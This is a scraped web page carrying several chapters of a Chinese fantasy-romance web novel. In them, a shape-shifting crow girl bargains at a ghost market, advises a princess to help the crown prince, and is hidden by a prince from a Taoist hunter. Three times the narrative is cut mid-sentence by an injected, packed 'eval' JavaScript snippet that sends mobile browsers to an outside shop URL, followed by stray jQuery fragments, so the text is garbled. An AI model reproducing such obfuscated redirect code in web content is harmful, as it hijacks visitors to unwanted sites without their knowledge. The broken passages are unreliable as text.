又像是他心中四年不灭的火焰燃成的灰烬,随着手刃仇人和广平侯府的覆灭,漫漫扬扬洒在了京城鳞次栉比的“万年长安”的瓦当之上。
寂静无声,雪落无痕。
……
殷流光最后还是被商遗思派人送回了殷家。
她乘着襄王宅的马车招摇过市,停在了家门口。
广平侯叛国案后,殷阆本是打算让殷流光自生自灭,从未上门讨人,谁知今日殷流光竟被襄王派人送回来了。
他一出门,正好撞见殷流光从一驾气派的马车上下来。
驾马车的人穿着金吾卫的银虎纹玄袍,蜂腰猿背,鹤势螂形,腰间悬着环首横刀,显然是襄王近卫。
默玄扶着殷流光下了马车,见殷阆出来,从车里取出一摞珍贵药材交到他手里,似笑非笑:“殷博士,四娘子这些日子受了不少惊吓,我家大王说了,务必要让四娘子在家中好好调理休养。”
“这些药材都是我家大王特意请尚药局的奉御为四娘子调配的,还望殷博士费心。”
殷阆干笑着接过,转头递给知意,吩咐她赶紧扶着娘子回府。
他怎么就忘了,之前上门来提亲的,除了广平侯世子,还有位更不好惹的襄王殿下。
他在千秋宴上护卫陛下,自己挨了假麒麟一爪,听说事后疗伤,奉御对着他背上深可见骨的爪伤倒吸了口凉气,天子也瞧见了,下令奉御无论如何都要治好襄王。
如此凶悍忠诚,一跃成为整个大盛权势最炽的权臣。
满朝文武,谁敢得罪?
看他近卫说话这口气……像是襄王还对四娘念念不忘。
做不成广平侯的亲家,做炙手可热的权臣岳丈也是极好的。
殷阆对殷流光又恢复了关切,每日叮嘱宋绯绝不可怠慢四娘的饮食起居,宋绯本就因为殷守善久治不好,被送到青雾山上的小道观静养而伤心欲绝,如今还要对一个血脉不纯的庶女殷勤备至,心里窝着气,一怒之下竟病倒了。
殷流灵大着肚子回来看望母亲,见阿娘竟然被殷流光气到这种地步,眼中闪过狠色:“一个血脉不清不楚的野种,算什么殷家人?广平侯府倒了,又马不停蹄攀附上了襄王,从前她跟广平侯结亲的时候,咱们家哪里得到了半点好处,太子妃的花宴,只邀了她一个人,阿娘跟我可曾见过半张帖子!”
“阿耶还指望襄王能做他女婿,为他这岳丈提携仕途,也不想想襄王是什么性子,连太子殿下跟长公主都不放在眼里,还能看上他!”
宋绯咳嗽着,道:“三娘,你就少说几句罢,她攀上襄王,早就不是我们能惹的人了。”
“阿娘!你就是太软弱了!”殷流灵愤愤道:“难道就任由她在家里作威作福吗?”
“就算是为了阿娘,我也定是要把这贱种从家里赶出去!”
她不知想到了什么,服侍宋绯吃了药,便匆匆赶回宋家,叫来心腹婢女:“你去找人,往江南东道去打听一个人。”
……
殷流光百无聊赖地撑着腮坐在窗下,知意忙前忙后,终于将从前祁承筠送来的那些礼物整理妥当,她有些犹豫道:“娘子,你命我把这些收拾出来,是要还给世子……啊不……还给祁郎君吗?”
“当然不了!”殷流光扭头,瞪大眼睛:“到了我手上的礼物,绝没有吐出去的道理!”
她慢悠悠道:“我叫你整理出来,是准备等会去趟鬼市,把这些东西都卖掉,换点做铃铛的材料。”
“啊?”知意走过来:“娘子,你还想着做那什么金仙铃啊?”
“做,怎么不做?”
她眼睛微眯,想起商遗思身边那个阴郁寡言的金瞳白蛇男。
“那个君平……他依靠襄王的香术,可以变成三人那么高的巨蟒,我要是能变成那么大的乌鸦,一翅膀就能把殷家扇没!到时候谁还敢欺负我们?”
知意被她逗笑了,知道这是娘子在故意逗自己玩,道:“好吧,娘子要是做大鸟,那我就做跟在大鸟身边的小飞雀,东
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986122|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
西我已经收拾好了,我们什么时候去鬼市?”
“就今天。”
殷流光施施然起身,打算出门。
虽说已经没了广平侯世子的未婚妻这身份,商遗思那天也拒绝了她……
但他却派了默玄来敲打殷阆,护她在殷家周全,那她自然也毫不客气,要靠着他的名号狐假虎威。
如今她想出门就出门,想去乐游原就去乐游原,殷阆还主动提及,要把她阿娘的牌位从乐游原的善观寺里迁回殷家祠堂。
她拒绝了。
阿娘在善观寺待得好好的,干嘛回来跟殷家祖宗挤在一起,相看两生厌。
算算日子,如今已是十一月快到年底了,等她做好金仙铃,有了躲避夜神司的自保能力,就去善观寺给阿娘和师父上柱香,告诉她们——
她决定不做人了!
往后,要当只能像那条白蛇一样,在长安城翻云覆雨的乌鸦。
自己不可能一辈子待在殷家,本想着背靠商遗思这棵大树好乘凉,但没想到他竟如此小心眼,想都不想就拒绝了她!
但没关系,拒绝她是商遗思的损失,放眼全京城,还有哪个方外兽能像她这样机灵聪明,善解人意呢?
她决定好好利用这化兽的能力,等金仙铃做好,就在鬼市支个摊子,不过不像从前的招摇撞骗,她可以像魍公子那样,利用她的乌鸦眼,售卖长安城各色消息,做个万事通娘子,也是一样逍遥自在。
……
殷流光带着知意兴冲冲到了鬼市,却在魍郎君的摊位面前不可思议地瞪大眼:“一千金?!!”
她狠狠拍了下桌子:“魍郎君,你是不是在讹我?”
脸皮涂了粉,整张脸都白的像鬼的书生摇头晃脑:“这价钱,真不贵。”
见殷流光转头就要走,他也不急,慢悠悠道:“你要的东西,整个长安城里也就只有我敢拍胸脯说能给你搞到手。”
见殷流光停了脚步,他懒洋洋道:“辟寒玉和五行珠,一个是皇宫里的宝贝,一个是玄都观伏月道长的法器,那可都是有价无市的东西。”
殷流光转身走回他面前,上下打量他,抱臂冷笑:“既然是皇宫跟玄都观的宝贝,你又如何能拿到手?莫不是打算拿个假的骗我,做完我这单就跑路?”
“笑话?”魍郎君被激得坐起了身:“我魍郎君能在鬼市做这么些年的牙人,靠的就是口碑!”
“这样,你可以只付一半的钱,等拿了东西确认是真的,再来付另一半。”
这的确也是常见的做法,魍公子在鬼市经营这么些年,黑白通吃,人脉极广,也没人敢耍赖拖欠他的钱。
殷流光有些犹豫,就算只是一半,现在的她也拿不出来。
今天知意收拾的这些东西,全加在一起也就一千两银子,远远不够五百金。
这金仙铃真是铃如其名……完全是用金子堆起来的法器啊。
早上还在雄心壮志地做逍遥快活的白日梦,没想到才半天,梦就“啪”地一声碎掉了。
她僵硬地扯出个笑,扭头就要离开,身后却忽然传来个碎玉投珠般的声音。
“这是五百金的银票,算作这位娘子的定金。”
这声音有点熟悉,她愕然转身,知意瞪大眼,小声在她耳边道:“娘子,是那天在乐游原遇到的那位郎君。”
见殷流光望了过来,年轻的男人朝她微微一笑:“乐游原一别,已近数月,娘子可还安好?”
31. 鬼市再遇
她自然是记得的。
那日骤雨疾风,乐游原白茫茫一片,是他遣人修好了她的马车,又邀她和知意在他的车上暂避风雨。
殷流光微笑道:“苏胥苏郎君?我怎么会不记得。”
“只是那日之后,诸事缠身,我一直不得空去西市登门拜谢,是我失礼了。”
她的目光移在魍郎君桌案上的银票上,还没开口,苏胥就先她一步,融融笑道:“娘子可是想要拒绝某的钱?”
“五百两金,这太多了,算上利钱,我怎么也还不上……”
“不是借,而是送。”
苏胥仍然微笑,慢悠悠说道,如雾的淡灰色瞳孔就这么饶有兴趣地盯着殷流光,流动着让人捉摸不透的光。
十分失礼。
不论祁承筠还是商遗思,从未这样直勾勾打量过殷流光。
她微不可察地皱了眉,知意已经跨出一步,将手中幕篱盖在殷流光头上,遮了个严严实实。她转头瞪苏胥:“纵然郎君出手帮过我们,也不应该这么无礼,眼珠子都要黏在我家娘子身上了!”
一直在旁观望的魍郎君忍不住哈哈大笑,对殷流光道:“四娘子,你家这小丫头,什么时候变得这么牙尖嘴利?啧,跟你以前越来越像了。”
苏胥也没有被她这一瞪就移回视线,见殷流光从始至终都没有开口,想必对自己说的这番话一个字都未曾信,便悠悠道:“四娘子不必怀疑某的用心。”
“我来长安,只为谋取富贵。”
“只是长安高门权贵如浮云一样多,遮天蔽日,没有他们的门路,某的生意十分难做。”
听到这里,殷流光有几分猜出了他的用意。
“苏郎君想让我帮你牵线搭桥?”
“正是如此。”苏胥笑吟吟道,但笑意却像是洒在檐角冰凌上的光,看着暖,却不曾真正融化冷意:“某来长安这些时日,也听说了一些四娘子的消息。”
“听闻四娘子从前是广平侯世子的未婚妻,如今又得襄王青眼,某若是能攀上襄王,这剩下的五百金,也愿意双手奉上。”
原来是想要借她的手攀附权贵。
殷流光垂下眼帘,说是不动摇是不可能的。
这金仙铃,她是非做不可。早在广平侯府,她就见识到了夜神司追缉方外兽的能耐,若是不能做法器自保,早晚有一天夜神司会发觉她的踪迹找上门。
她必须有金仙铃才能安心。
而她只是与商遗思认识,就有人愿意送上千金求她牵线见面。
以往怎么不知道……这长安城的权势与富贵,如此繁花渐欲迷人眼,只是稍稍踏入其中,就让人觉得目眩神移。
就在殷流光犹豫的时候,一旁的魍郎君已经把银票往怀里揣了。
他早在殷流光跟着观山在乐游原坑蒙拐骗的时候就认识她,这丫头看着貌美柔弱,实际鬼精鬼精,见钱眼开,为了离开殷家攀上侯府,能把世子都哄得团团转。
平白的五百两金摆在这里,只要动动嘴皮,再骗一次襄王就能拿到,她能不要?
他一边揣一边说:“那辟寒玉跟五行珠要拿到还得费一番功夫,七日后这个时辰你再来取。”
钱还没焐热就听殷流光淡然道:“让苏郎君失望了,我跟襄王并不算相熟,恰恰相反,他对我可是憎恶得很。”
她说得慢条斯理,但只有熟悉她的人能听出一丝微妙的恼火:“襄王殿下曾有言在先,和我再无瓜葛。”
知意默默低下头。
她心想那晚娘子装中毒,让她借口抓药离开襄王宅,但她很快被默玄从药铺抓了回去,她瑟瑟发抖,还以为是娘子计谋败露,襄王盛怒之下会把她处死。
可没想到的是,默玄却将她完好无损地送回了殷家,她担心娘子,默玄却说大王不会对她做什么。
等回了家,她还是惴惴不安,直到过了小半个月,娘子乘着襄王宅的马车回府。
下马车的时候,娘子容光昳丽,虽然穿的是十分简单的碧玉色襦裙,但那料子可是在西市卖到一两金一匹的流光锦,外头系的大氅更是紫貂毛所做。
一看便是在襄王宅一点也没受欺负,反而被照顾得十分妥帖。
虽然提起襄王,娘子每每咬牙切齿,但从那时候起,她就隐隐约约感觉,娘子跟襄王之间,好像有些跟旁人不同的氛围。
殷流光的话将知意的思绪唤回神。
“所以只怕就算我应承下来,苏郎君顺着我这条线,也见不到襄王。”
听了这话,苏胥倒是微微一愣,片刻后,颇为遗憾地轻叹了口气:“那看来某与四娘子的这桩生意,是做不成了?”
魍郎君也是僵住了,没想到殷四娘子今日倒是长了良心,往日她还是小丫头的时候,可是最喜欢骗这些富商的钱了。
殷流光却摇摇头,声音恰如三月春风,和煦无比:“怎么会做不成呢?”
“哦?殷四娘子还有别的门路不成?”
殷流光走近几步,压低声音:“苏郎君若是只想要你的茶叶生意在长安打通销路,赚的盆满钵满,襄王可不是最好的选择。”
“他虽然是金吾卫大将军,掌管着东西两市的治安,但也是天子心腹,朝中权臣,性子比隆冬深雪还要冷,想通过讨好贿赂他来在西市吃得开,只怕是难。”
“那以娘子高见……”
苏胥挑起一边眉毛,给她递来话头,殷流光笑吟吟道:“若是苏郎君相信我,这五百金就算是我借你的,等我找来贵人,为郎君的茶叶铺子打通长安的销路,之后苏郎君的店每在长安卖出一笔生意,就分我一成利润,用这份利润来偿还郎君借我的钱,还有七日后再借我五百金,如何?”
魍郎君在旁听得直咋舌。
这丫头,他还当是良心发现了,果然心还是黑得透透的。
她只是当个中间人介绍门路,就要这年轻富商往后每笔生意的一成利润,这简直是光天化日之下直接伸手抢劫,但凡是个脑子正常的人都不会答应。
“某答应。”
“啊?”魍郎君张口结舌,但鬼市的规矩,绝不能搅人生意,他痛惜不已地看着苏胥直摇头,手却把怀里的钱更往怀里塞了塞,生怕他反悔不借钱给殷流光了。
殷流光有些微的惊讶:“郎君这么痛快?我要的可是一成利润,我听说天下商人无利不起早,商人行商,就连蚊子肉都不会放过,郎君怎么一口就答应了?”
“自然是因为我相信娘子既然能开口要我这一成利润,就能给我让我心服口服的好处。”苏胥微笑着看向殷流光,一身白狐裘显得他风姿玉举,如秋月澹面,与鬼市中人格格不入。
他缓缓开口,带着几分笃然:“能让世子与襄王尽折腰,殷四娘子,想必定有你的过人之处。”
“在下在寒露茶铺,静候娘子佳音。”
待他走远,知意目露疑惑:“娘子,这个人还是那么奇怪……他出手这么阔绰,就不怕娘子拿了钱出尔反尔吗?”
“今天是我们第二次见面,他已经知道了我姓甚名谁,还知道我过去这几个月发生的事,显然是把我查了个底掉。”殷流光眯了眯眼:“只是我现在还看不出来他故意接近我,是想要什么。”
如果说是为了襄王,刚刚她已经斩钉截铁地说了,自己跟商遗思毫无关系,但他仍然没有改口,倒真是让殷流光也看不透了。
“算了,不管他想要什么,既然主动给了我钱,那就别想着拿回去了。”
殷流光扭头对魍郎君磨着牙威胁道:“七日后这个时辰,我来取我的东西,你可要准备好,少一件东西,你这招牌就别想要了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986123|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不论怎么说,四样东西要她一千金,还是太贵了!
等回去了,这些东西她要先自己打探一番,确保魍郎君不是信口开河,随便出价。
魍郎君哼了一声:“想砸我的招牌?还不如想想不靠襄王,你要怎么给人家打出招牌!”
“我们娘子自然能做到!”知意虎着脸护着殷流光,待两人慢慢走出了鬼市,在回家的街上,她也忍不住有些担忧,:“娘子,你刚刚说得那么干脆,真的有把握吗?”
“当然。”殷流光挑眉:“难道整个长安城,我就认识商遗思一个贵人?”
“那日太子妃的曲江花宴,我可不是白去的。”
……
寿昌公主宅的后花园内,寿昌抿了口手中的秘色瓷茶盏,细细咂摸了一会,放下杯子:“嗯,茶是还不错,江南来的新茶吧?”
顿了顿,她又疑惑道:“只是这茶味里……好像还加了些别的什么味道,似乎是……桂花?”
坐在下座的殷流光笑道:“正是。”
“江南桂花开花时,香浮十里街巷,采摘桂花入茶,不仅保留了桂花的花香,更让茶香更清爽,这是寒露茶铺的首创,他家主人刚来长安,与我相识,我见这桂花茶很特别,清雅别致,一下就让我想到了公主的芳姿,就想着给公主送些来。”
自从殷流光给寿昌出谋献策大获成功后,虽然最后寿昌对商遗思大失所望,但却对殷流光印象很好。
广平侯府出事后的这段时间,寿昌还遣侍女来过殷家,给殷流光送了些东西慰问。
虽然她处事骄横了些,但心地却实在不坏。
这次殷流光登门拜访,便是打着回礼的名号。
从鬼市离开的第二日,她便去了苏胥在西市的寒露茶铺,店面不大,在商铺林立,处处繁华的西市中算不上有多起眼,甚至很窘迫,但苏胥拿出来的茶却都是上品。
从十几种茶中,殷流光挑中了这款糅了桂花的茶,精心包成茶团,带着登上公主宅的门。
商遗思不吃殷流光这套,但显然寿昌十分受用,扬起下巴微微点头,露出个骄矜的笑:“确实跟本公主一样独特,本公主很喜欢。”
她说完,不知想到了什么,笑容忽然黯然了下来。
殷流光察言观色,问道:“公主可是有心事?怎么忽然郁郁寡欢了起来?”
寿昌长长地叹了口气:“唉,我是喝到这茶,忽然想到了我阿兄。”
“太子殿下?”
“是啊,阿兄他最喜欢品茶了,可惜最近被阿耶训斥了好几顿,我每次去东宫见他,他都是一脸郁郁寡欢,也没心情煮茶给我喝了。”寿昌捧着脸,十分郁闷。
广平侯被处决后,阿兄失去了股肱之力,还因为用人不察被阿耶训了一顿,这些日子他负责的几件事都连连出错,更是火上浇油,三天两头就被叫进蓬莱殿里挨训。
前些日子,她进宫请安,听见宫人嚼舌根,偷偷说陛下这几日头疼,奏折都是长公主代为处理的,反而太子殿下被罚在东宫思过,怕不是宫里这天要变了。
被她听见了,立刻生了气,命人将那两个内侍抓起来打了一顿才出气。
小时候她也很喜欢姑姑,可是后来阿兄当上太子后,姑姑总是明里暗里处处为难阿兄,阿兄性子柔善,受了欺负也不说,她看在眼里更是心疼,便时不时进宫向阿耶求情。
这次她求情,阿耶却说身为太子,无能就是最大的罪过。
可她听阿兄身边的内侍说了,那些措施都是姑姑使的绊子,想趁广平侯之案,一举把东宫压倒。
她为这事烦了好几天,想帮阿兄,可却不知道该怎么做。
听了寿昌的话,殷流光念头一转,笑道:“公主,我有一个法子,或许可以让太子殿下解除禁足,重获圣心。”
32. 白梅茶饼
殷流光的计策让寿昌很是怀疑,狐疑地看了她一眼:“这能行吗?”
“公主是最了解天子与太子性情的人,自然比我们这些只能在逢年过节挤在人堆里遥遥瞻仰圣颜的人要清楚。这件事的关键,就在于天子之心,只要太子殿下能把握住,困局当然迎刃而解。”
“问题是,公主觉得陛下是这样重情的人吗?”
寿昌想了想,很快笃定道:“当然了。这件事就这么办,我现在就去东宫!”
她立刻提起裙摆,在侍女的搀扶下起身,随便敷衍几句让殷流光回去,自己则带着侍女匆匆回去换衣服入宫。
殷流光也不急,慢悠悠喝完了那口茶,这茶苏胥在寒露茶铺里卖十两银子一包,一口下去就是一两,不喝完怎么行。
她还给知意倒了一杯,拉着她坐下来一起喝,知意喝了一口,犹豫道:“娘子,你给公主献策帮太子,是不是有些太冒险了?我听说现在长公主的势力可比太子殿下要强得多……”
“放心吧,我只是个小人物,不会有人注意到我,就算太子这次真的成功重获圣心,那也是寿昌的功劳,与我何干?”
她慢悠悠道:“而且,不入虎穴焉得虎子,很快,寒露茶铺就要名扬长安了。”
……
商遗思陪着天子和长公主走在上林苑之中。
今日天子召他进宫,因着边境军队换防想要听听他的意见,长公主也在。
处理完政事,天子听内侍说上林苑的白梅开了,兴之所至,便带着商遗思和长公主去踏雪寻梅。
只是没想到,刚走到梅苑,远远却瞧见了太子的身影。
太子双手冻得通红,亲手摘下梅花,放进身后小内侍捧着的花篮中。
花篮里已经积了满满一层。
内侍劝他:“殿下,您一大早就来这里亲自采梅花,这寒冬腊月,冻坏了您的玉体可怎么办?这些粗活让奴婢来干吧!”
太子温和笑了笑:“不必了。”
他有些怀念:“小时候,阿娘最喜欢用这白梅跟茶末揉到一起,做白梅茶饼给我吃,我至今都记得那个味道,花香跟茶香混合,又有着烤饼的油脂气,再配上江南的白梅花茶,是冬日里的一大乐事。”
“这是阿娘自创的一道菜,我小时候挑食,不喜食荤腥,急坏了阿娘,琢磨了好几天才想出这道菜哄我吃饭,后来我果然喜欢得不得了。”
“阿娘走后,我便再也没吃过这味道……左右这些日子东宫清闲,我便想着亲手试试白梅茶饼的做法。”
天子立在不远处,久久不语,像是想起了什么悠远的往事。
站在他身后的长公主似笑非笑,淡眸扫过商遗思,意味深长地轻声道:“太子真是好孝心啊。”
商遗思停下脚步,狭长眼眸望向远处的太子,闪过思量。
近来长公主处处打压太子,太子也接连出错,屡失圣心,朝中诸人都隐隐看出东宫之位并不稳当。
商遗思四年前无心于储位之争,如今自然也一样。
他向来都是置身事外,不过这不妨碍他能看得清楚局势。
他原本也以为,以太子的性格,很难在失去广平侯的筹谋后跟长公主抗衡。
但今日看来,所有人都忘了,太子之所以是太子,除了他是正宫嫡出,还有一个最大的原因。
他是天子最爱的亡妻所生的孩子。
天子对大韦后的感情,才是太子坐稳东宫最大的力量。
太子今日这番所作所为,怕是恰恰切中了天子之心。
天子已经走上前去,亲自握着太子的手,说一片孝心虽好,冻坏了却不值当,这些事交给内侍做足矣。
长公主轻哼一声,她素来高傲,自然不屑于配太子演戏,便说自己身子不适,提前告退。
公主离开后,天子也对商遗思笑道:“望尘,你也来尝尝太子这茶。”
他坐在茵席中,垂眸喝了口混着淡淡梅花香的清茶。
今日太子这番太过刻意,投机取巧……不像是他平素作风,倒像是有人设计。
很快,他就知道了答案。
襄王宅内,默玄道:“打听到了,是殷四娘子前些日子去了寿昌公主府,她离开后寿昌便入了宫,第二天太子便在梅苑演了这么一出。”
“如今东宫势头又起,陛下令他主持元日朝会,这原本是长公主一直想要的,长公主这会已经派人去查是谁给太子献的策了。”
他说完,小心翼翼地看了眼商遗思的脸色,沉静淡漠,看不出什么名堂。
商遗思在想,殷流光向来无利不起早,在这件事上帮太子跟寿昌,她图什么?
立在一旁的君平最近已经养好了伤,他的金瞳已经被压制,变成了正常的黑瞳,听了默玄的话冷哼一声:“又是那个殷流光!”
“攀附世子不成,又想着攀附太子!”
商遗思坐在主位上,瞳色幽幽。
以她的性格……倒真是有可能费尽心思接近太子。
但太子已有正妃……难道她世子妃做不成,便想着做太子侧妃?
君平又道:“大王,此女狡诈,且又身怀化兽之能,如果任由她这么肆意妄为,频频出入东宫和公主宅,只怕是早晚会被夜神司找到!”
“太子可是夜神司名义上的司主,若是她被发现是方外兽,只怕都还没动大刑,她就把大王招供了出来。”
“我们的秘密她知道的太多了……不除不行啊!”
默玄拍了拍君平的肩,摇摇头让他冷静下来:“君平,你怎么动不动就要杀人?你这脾气真该改改了,还以为这里是漠北呢,民风彪悍,有仇不隔夜?”
“殷四娘虽然见钱眼开,品格……呃,不那么高尚,但她有情有义,为了祁承筠敢对你下手威胁大王,只是因为欠了祁承筠一份情。”
“如今长公主的暗卫早晚会查到她头上,若是这时候我们去给她提个醒,她能不念着大王的好么?”
两人各执一词吵了起来,坐在主座上的商遗思静静等他们吵完,才道:“说完了?”
两人咳了一声,点点头。
商遗思便道:“说完了就干活吧。”
“默玄,你继续盯着公主府那边,若有动作及时来报。”
“君平,你继续寻找长安城中除了殷流光之外能变兽的人。”
白蛇案后,夜神司加大了对方外兽的搜寻,若是不在他们之前找到,这些人被抓到后,就只有灰飞烟灭一条路。
至于殷流光……她敢接近太子,也是太过大胆包天,以为靠自己的小聪明就能瞒过夜神司。
若是她真的想像接近祁承筠那样,接近太子……
脑子里闪过这个念头,他闭了闭眸,微微皱眉。
一个不受驯的女子而已,自己不该总是这般在意。
他将那个狡诈的身影从脑中剔除了出去。
……
太子之事办得很成功,长安城内听说太子雪天煮梅花茶,烙白梅饼,风雅至极,纷纷效仿起来。
只不过满京城之中,卖各类花茶的就只有西市的寒露茶铺一家。
寿昌公主也亲自遣人来买了许多,大赞其茶香润滑口。
于是一夕之间,寒露茶铺成了整个西市最火热的铺子。
殷流光登门的时候,苏胥对着她微笑作揖:“娘子手段,苏某佩服。”
他拿来银票,递给殷流光:“这是剩余五百金的银票,请娘子笑纳。”
殷流光挑眉:“说好了抽成,苏郎君不必这么早给我。”
“这些日子我的茶卖到了各大高官侯门的府中,远远超过我的预期,这五百金迟早都是娘子的,不如我尽早奉上,以解娘子之急。”
他停了一霎,嗓音带着江南人独有的轻柔如烟,道:“最重要的还是,某也想一博美人欢心。”
虽然说的是轻佻的话,但因为说话的人如霁月洗云,落落清秀,所以并不招人讨厌。
殷流光笑了笑:“既然如此,那我也不推辞了。”
正好明天便到了七日之期,若是魍郎君真的能搞来她要的东西,这五百金的尾金,也是要如约给他的。
解决了一千两金的事,而且明天就能拿到制作金仙铃所需的材料,殷流光也不免松快起来,带着知意去琼池楼下馆子开荤。
吃到一半,听到隔壁桌人似乎在谈论什么长乐天。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986124|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“这琼池楼的酒菜固然已经是长安城内排行前三的绝佳口味,但以鄙人之见,还算不上魁首。”
“哦?李兄可是老饕,吃遍京城名菜的人,那以李兄高见,这魁首该落在哪家酒楼?”
那被叫做“李兄”的人神秘莫测地笑了几声,压低声音道:“自然是不夜窟,长乐天。”
“那儿的芙蓉脍和金玉糟蟹,吃过了才是不枉来人间走一遭。”
其余人顿时大失所望:“长乐天一道菜便要十两银子,一壶酒就要二十两,不是高门权贵,富可敌国的豪商大贾,连门都进不去,谁吃得起?”
“李兄你托贵人的福吃过,我等却是没那福气享用,来这琼池楼吃顿酒,回家还要挨娘子骂,算了算了,不说了,吃酒,吃酒!”
隔壁变成闹哄哄一顿碰杯声,知意咬着筷子,有些好奇:“娘子,他们说的长乐天,真的有那么好吃吗?”
“你想吃?”殷流光喝完杯中的酒,也觉得不怎么尽兴,反而馋虫都被这位李兄勾了起来,她道:“想吃的话,我带你去尝尝。”
“可是快到坊市关门的时间了,而且听说这个地方寻常人连进都进不去,咱们还是回去吧……”知意有些犹豫。
却被殷流光拿起斗篷盖在她身上,冲她一笑:“没事,我有办法。”
知意跟她一样,都是馋虫,平时两人也没有什么别的爱好,都喜欢品鉴长安各类美食。
这些日子她跟着自己担惊受怕,难得有想吃的东西,当然要让她吃到。
那长乐天她也听说过。
她进不去,但可以变成乌鸦飞进去,买了东西叼回来,也是一样。
她打定主意,便让知意先回了家,自己找了没人的地方变成乌鸦,簌簌飞向远处。
如今长安城各坊市落锁之后,沿街路上皆有灯笼照明。
听说这是金吾卫的新举措,为了巡夜方便,金吾卫不知道有没有更方便,反正对她来说是方便多了。
这样一来,她变成乌鸦便不至于眼盲乱飞。
很快便到了长乐天的所在。
她七拐八拐,好不容易寻到了路,正准备找个庭院灯笼照不到的假山角落变回人身,忽然感觉浑身翅膀一颤,像是瞬间被闪电击中一般从假山上栽倒下去。
天与地一霎倒悬,她浑身发麻,直直往地上坠去。
却在半空被一双手托住了。
那双手有着她熟悉的沉绵香味,将她匆匆笼入袖中。
她浑身都没气力,紧紧贴在男子掌心,用爪子小心翼翼勾着他的手指。
“襄王殿下,您走这么快是做什么?”
不远处响起脚步声,还有着熟悉的声音。
是伏月道长!他怎么在这里!
商遗思淡淡道:“方才这里似是有白光闪过,本王怀疑有什么异常,便来看一看。”
脚步声走了过来,像是停在了商遗思身边。
握住殷流光的手掌温暖干燥,微微动了动,修长手指轻轻盖住她的身躯,沉香气息缓慢而无声地地包裹住她。
他在用这种方式,将她的气息完全遮盖。
伏月笑了下:“哦,大王说的是这个啊。”
“这是贫道的捕兽网,若是寻到方外兽的气息,便会自动窜出寻觅,它刚刚从贫道怀中窜了出去,想是发现了方外兽的踪迹。”
“怎么,大王没看到么?”
殷流光的心跳到了嗓子眼,听到商遗思平静道:“此处本王已探查,什么都没有。”
“道长,今夜我们是受太子之邀来这里,若是为无关之事让殿下等得太久,可就不好了。”
太子重获圣心,天子将新年大朝会的住持交给了他来办,太子对此事十分重视,想到之前白蛇祸乱长安一事,便疑心长安还有别的方外兽潜藏。
他本就是夜神司司主,今夜召伏月和商遗思来,正是为了商议在元日之前严查方外兽一事。
伏月却像是还有所怀疑,亲自拨开草丛四处仔仔细细搜查一番,回过头看向商遗思,苍老的眉宇中暗含怀疑。
“贫道的捕兽网从不出错……大王可介意,让贫道用捕兽网在大王身上探查一遍?”
33. 旧病复发
“伏月道长,你这是干什么!”默玄低喝一声,满是怒意。
“大王是陛下钦赐异姓王,亲王之身何等尊贵,就算道长是天师,见了面也要行礼,更何况是搜查!”
伏月不卑不亢:“圣命在身,贫道这也是职责所在,还望大王莫要介意。”
商遗思慢慢笑了,不疾不徐地开口。
“本王知道,伏月道长你的师父,先任听澜天师是被方外兽所害,所以你对方外兽深恶痛绝,一旦发现务必要赶尽杀绝。”
“搜吧,本王行得正坐得直,自然不是道长的敌人。”
殷流光在他掌心惊得几乎跳起来。
这怎么能搜!
但伏月已经放出法网,细细密密的发着白光的网落在商遗思身上,一寸寸往下。
待那白光流到他袖口时,殷流光只觉得商遗思的掌心忽然格外炽热,有一股无形的气流护住了她的身体。
那白光平滑地从商遗思袖口流过,倏而回到了伏月手中,他喃喃疑惑:“难道真是我的法器坏了……”
商遗思四平八稳道:“道长,现下可以去见太子了么?”
“自然……自然,大王请。”
殷流光原本只是想来买点酒食,却就这么被带着进了包厢,听了一晚上太子跟伏月和商遗思商议,要如何斩尽杀绝长安城内的方外兽的计划。
听说太子仁善,平素就连普通百姓误撞了他的马车,他也不恼,一年到头不知要被人拦过多少轿子当街鸣冤。
但凡遇到了这种鸣冤的百姓,他都会极有耐心地听完他们的话,再交给三司责令解决。
没想到……在对待方外兽这件事上,太子也是一样的不留余地,或许他们是真的惧怕鬼方的诅咒,没有把方外兽当做……人。
她这“方外兽”躲在商遗思宽大的袖子里,吓得一动不敢动,掐着时间生怕自己当众变形,被伏月当场击杀。
但沉香绵密香味始终缭绕鼻尖,进了包厢后,包厢中的香炉更是燃着馥郁香气。
这香味尽数没入她的羽毛,似乎在源源不断地稳固着她的身体,让她的化形能一直保持下去。
不知过了多久,等太子跟伏月都走了,包厢内归于寂静,才听到商遗思的声音:“出来吧,他们都走了。”
尾音莫名惫懒。
她连忙滚落出来,啾啾着跳上桌子,瞧见商遗思倚靠在一旁,脸颊浮着浅浅一层红,眼睫微阖,带着些慵懒放松,玄色衣领微敞,露出隐约的锁骨。
